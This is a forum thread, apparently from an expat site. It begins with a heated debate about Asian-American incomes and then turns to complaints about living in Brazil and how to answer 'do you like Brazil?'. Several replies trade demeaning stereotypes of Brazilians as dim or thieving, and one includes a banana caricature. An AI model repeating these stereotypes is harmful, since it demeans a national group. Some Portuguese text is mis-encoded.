    You must be careful when you remind arrogant people that they might not be THAT smart or talented, as they have undoubtedly been told all their lives. Let us not forget how upset they were when Obama reminded them that they (we) have ALL had help along the way (especially if we were born with money), and that, no matter how much we may kid ourselves, NONE of us has ever “made it” with substantial amounts of assistance.
  • #270454

    romanji
    Member

    [QUOTE=marcobjj]

    [quote]

    adults ages 25 to 64 who have come from Asia in RECENT YEARS have at least a bachelor’s degree.”

    [/quote]


    get it now? it’s a new, 21st century trend. The vast, VAST majority of Asians who come to america historically were POOR and uneducated still managed to become the highest income race in America in a couple of generations, above even whites. How dense are you?

    [/quote]


    Asians RECENTLY became the highest income group, which happened to coincide with the huge influx of educated immigrants! You think that’s a coincidence?? Do you think the vast majority (by vast majority I mean 80%+) of poor chinese immigrants who came in the 60’s from the mainland were sending kids to harvard in two generations?? Get a grip man! The reason asians have overtaken whites RECENTLY is because of their education and opportunity they came to this country with. Again I repeat, asians only started overtaking whites in income in the 90’s and 2000’s. This is a RECENT phenomenon. You are implying that asians have had higher incomes than whites for decades, which is categorically false.

    Zummbot2014-09-25 22:18:03

  • #270455

    chrish
    Member

    [QUOTE=Zummbot]

    Asians RECENTLY became the highest income group, which happened to coincide with the huge influx of educated immigrants!
    [/QUOTE]
    wrong, look at the graph. Asians have been the highest income group since at least 1985. Are you gonna tell me now that there was a diaspora of rich Chinese and College educated Chinese IT programmers in the 1970s and early 80s too? LOL @ that. You can type recent in all cap as many times as you want, you’re wrong.

    marcobjj2014-09-25 22:24:29

  • #270456

    romanji
    Member

    Straw men will do you no good here. You know well and good it’s more than just programmers. Doctors, lawyers, wall st. types, etc. The list goes on. Just because they’ve been the highest income group for a bit longer than the 90’s changes nothing. Whether they became the highest income group in 1987 or 1977 makes no difference. The reason they are the highest income group is because they come here better educated, which my last post has already proved. Consider this:

    “Nearly three-quarters (74%) of Asian-American adults were born abroad; of these, about half say they speak English very well and half say they don’t.”

    Three-quarters were born abroad? AND they’re the highest income group? Hmmmmm……ClapCouldn’t be because they came here better educated than the general populace! Your thinking that they came here penniless, grew up in Chinatown and became then wealthiest group in America is a fantasy.
  • #270495

    chrish
    Member

    you’re already proven wrong and are being a stubborn baby now, no point in arguing any further.

  • #270497

    romanji
    Member

    Only one of us has been reduced to petty name calling, so I think that tells us everything we need to know about who’s right and who’s wrong. LOLSend me a postcard from fantasy land, I hear it’s real nice this time of year.

  • #270674

    doctorlili
    Member

    I couldn’t help myself and stalk that bama nut to confirm what a leftist bigot it is. I see it gets into the same type of dumb arguments with anybody who thinks for themselves and doesn’t buy her b/s of the “white male privilege”. Whatever.

  • #270675

    graham
    Participant

    Find a ballon. Ride it.

  • #270771

    Anonymous

    I am living in Brasì≠lia for almost three years and I always get the “Vocì™ tì° gostando de Brasì≠lia?” …… Hahah, gone are the days of the polite lie. I flat out say ” No! the moment my husband lets me “eu vou sair daqui correndo”
    I know its sounds horrible to be so bitter about a place, but I really have lost my mind here. An example of what ticked me off today –> I can’t stand how people just throw their litter on the floor, out of bus windows, out of car windows, out the windows of their apartments, with no shame what so ever.

    I was walking behind a young women the other day , who chucked an empty cigarette box on the pathway. I looked at my husband shocked (when i really shouldn’t be its common practise here) and said “Oi Moìßa, essa caixa caiu da sua mão” (Hey lady, this box fell out of your hand) and she screwed her face up and replied ” Ai, não ì© sì≥ lixo” (Oh no, its only rubbish) And i replied “exatamente, então coloca na lixeira” (Yeah exactly, so put it in the bin) and tried to return the box to her (there was a bin about 10 feet away) and she snorted at me and continued walking away. So i put it int he bin.
    I was under the illusion that a different Brasilian city might be better to live in, but after chatting with people about their opinions and experiences of different cities I don’t think I will find a solution here.
    So when and if im ever confronted by the person who says ” Well then why don’t you leave??” I want them to know I’m freaking trying. hehehe. and I just came here for a little vent.
    Also I found a very entertaining list of things gringos don’t like about Brasil in general, its amusing and I like to see that I am not the only one that has come to be so bored and frustrated here.
    http://www.gringoes.com/forum/forum_posts.asp?TID=17615
  • #270781

    doctorlili
    Member

    I believe that in history of mankind working himself up the prosperity ladder by free enterprise and voluntary association, there are times of a generation or two, which appear ominous and dark. Litter, pollution, slums, visible poverty in growing cities.
    This phenomenon existed in the USA 100 years ago, and lead to the Progressive Era hysteria which ended up starting the decline of the USA’s liberties and prosperity. The progressives are a particularly impatient and negative people, who see glasses half-empty instead of filling up.

    When you look at Mumbai, India, for instance, you could be desperate about the slums, or you could see that the economic boom in those cities are pulling 10,000 new migrants from the country hoping to participate in the boom. They live under bridges and in slums, they do add litter and dirt and makeshift huts. But what does the statistics find about the fates of these immigrants? I venture to guess that they are advancing themselves and their family, albeit at a stiff price, yet, this is the spirit of free enterprise. When I look at India from my first trip in 1990 and my last trip in 2011, I see a lot of improvement everywhere. It takes time to lift a people into prosperity. But shut out the statists and the progressives (= socialists) and the people will make it in one or two generations time.
    So I see it in Brazil. Yes, dirt, litter, makeshift housing and bad manners abound. But look at the improvements. Rio, São Paulo have become safer. Crime statistics are down there compared with other parts of the country. Rio’s favelas are — tenuously, perhaps — becoming livable bairros. (In fact yours truly will probably settle in one in the next few months.)
    The glass is filling up. Keep the faith.
  • #270793

    “This phenomenon existed in the USA 100 years ago, and lead to the Progressive Era hysteria which ended up starting the decline of the USA’s liberties and prosperity.”

    Godurn Progressives, makin’ laws, stopping kids from working in factories, clean water, weekends, the 8-hr workday. When will the INSANITY END?!?
  • #272160

    Tony
    Participant

    Sounds like you are out of ideas on how to fire back without compromising your opinions while not alienating the local yokels.
    No come backers , no quipping , no thoughtfully remarks, no one ups.
    Just be like Jeter and Tiger Woods and say :
    I don’t know much about it
    Gee, I have no opinion
    Nothing to declare.
    Nice day today isn’t it?
    Until Tiger sex scandals, both were not much to print from them other than speculation. Jeter was a master at it.
    See, if you get into a conversation with your typical Brazilian, nothing really stands to reason. There is no repartee,
    no arguing your point, no bearing on facts, or quotes . They start on a subject and veer off to another.
    So then , why are you wasting you palaver with these folks ? Stick to the small talk.
    Like Crash Davis thought Nuke Lalooush in Bull Durham, cliches are men’s best friend.

  • #272561

    gawasantos
    Member

    [QUOTE=berger2]”Voce gosta do Brasil?” doesn’t mean that the person who asks it wants to know if you like it. It is like British “How do you do?” – nobody really expects you to really tell how do you do. It is a way to start a conversation with foreigner. [/QUOTE]

    Good guess… But no ^^”
  • #272567

    myrna
    Member

    [QUOTE=Rebroker@sampa]See, if you get into a conversation with your typical Brazilian, nothing really stands to reason. There is no repartee,
    no arguing your point, no bearing on facts, or quotes . They start on a subject and veer off to another.
    [/QUOTE]
    This. Talking to Brazilians is just having someone tell you their opinions (no matter how stupid) while ignoring/disregarding everything you say.
    Actually, what is said is scientific consensus from peer review journals. Them – Nah, thats just you opinion, I dont believe.

  • #272571

    ffm
    Member

    Seeing how most of them are not that bright, you can simply say “Não sei” flash a smirk then point to something shiny to distract them.

    Works like a charm.
  • #272574

    Steven
    Participant

    Just make sure that the shiny thing you point to isn’t your watch or cell phone. They might grab it and run.

  • #272577

    David Denning
    Participant

    [QUOTE=Levo]
    Actually, what is said is scientific consensus from peer review journals. Them – Nah, thats just you opinion, I dont believe.
    [/QUOTE]

    “I don’t believe”? Usually “Liar, you’re lying!”
    I helped at a local charity and we had a policy that anyone arriving more than 10 minutes late for a session would be excluded that day. 40 minutes late there is a knock on the door. I explain that he is too late as it is 40 minutes after we started – “You’re lying!”, Show him my watch – “You’re lying!”
    People here are far too quick to accuse someone of lying if they themselves “think” it is wrong, or do not know the real answer! Or maybe just don’t want to believe it!
  • #272582

    ffm
    Member

    [QUOTE=Steven]Just make sure that the shiny thing you point to isn’t your watch or cell phone. They might grab it and run. [/QUOTE]

    LOLAlley opp…..SLAM DUNK! LOL
  • #272905

    Tony
    Participant

    Well, Crash Davis to Ann Savoy: “talking to you is like having a conversation with a fungoe or a martian”….. Hillarious.

    See, even sports discussions are pointless with Brazilians…..
    Your average thread with baseball fans, as contentious and emotional might get, at least you get your statheads, and some interesting fodder.
    Brazilian soccer…. C’mon. empty jar heads.
  • #272941

    ffm
    Member

    [QUOTE=Rebroker@sampa]Well, Crash Davis to Ann Savoy: “talking to you is like having a conversation with a fungoe or a martian”….. Hillarious.

    See, even sports discussions are pointless with Brazilians…..
    Your average thread with baseball fans, as contentious and emotional might get, at least you get your statheads, and some interesting fodder.
    Brazilian soccer…. C’mon. empty jar heads.

    [/QUOTE]

    Men can stick to bunda talk and we’ll be alright. Ladies, just talk about famous US brands like Maicon Kors and Calveen Kleiny and you’ll be alright.
  • #273149

    checkmate886
    Member

    I agree 100% with all you say!!! I regret I am posting so late, I do not come to this site as regularly as used to do before. Are you still living over there? Yes, you are polite as you let us know your experience.
    Wish you the best.

  • #273682

    Anonymous

    I remember gringo try doing this to me, is muito ofensivo. I realize it only 6 months depois. What happen is a this:
    I ask him: Vc gosta do Brasil?
    He say: Não sei and then take a fruta from his pocket…this not a shiny thing. Eu gosto de frutas muito (iogurte tambem)…anyway…I reach for the fruta…and he pull back!
    He says again: “Pega essa fruta, pega!” I reach again, but he pulls fruta away. Now me mad. Then he finally give me fruta and he say, you can buy a futbol or Nike Shox with this…just trade in.
    I think: Muito bom!
    Next day I go to local shoppings and try buy Nike SHox…with minha fruta (is banana, in case you not guess earlier). They call the seguranìßa when I try buy.
    See why I am mad about a this?

  • #273685

    VannyBrasil
    Member

    [QUOTE=wdomingues]I remember gringo try doing this to me, is muito ofensivo. I realize it only 6 months depois. What happen is a this:
    I ask him: Vc gosta do Brasil?
    He say: Não sei and then take a fruta from his pocket…this not a shiny thing. Eu gosto de frutas muito (iogurte tambem)…anyway…I reach for the fruta…and he pull back!
    He says again: “Pega essa fruta, pega!” I reach again, but he pulls fruta away. Now me mad. Then he finally give me fruta and he say, you can buy a futbol or Nike Shox with this…just trade in.
    I think: Muito bom!
    Next day I go to local shoppings and try buy Nike SHox…with minha fruta (is banana, in case you not guess earlier). They call the seguranìßa when I try buy.
    See why I am mad about a this?
    [/QUOTE]

    This is hilarious, Wagner. I am surprised that you believed that the fruit would buy you shoes.
  • #275318

    Aura
    Member

    I have to agree with the poster. Outside of BBQ, brazilian food is basically not wow. There are rice & beans everywhere.

  • #275321

    ffm
    Member

    It’s funny this post came back up because I used a great line the other day and thought about the forum and this thread in particular.

    I got the usual gringo ear beating than the obligatory “Do you like it here?” I gave them: I have the same complaints that you do.
    Perfect. You “bond” with them while not insulting nor lying either. Win/win.
    I did use “ì® normal” as prescribed on this very thread and it worked as well. There is really no follow up to that.
  • #27393

    Cactusdog2
    Member

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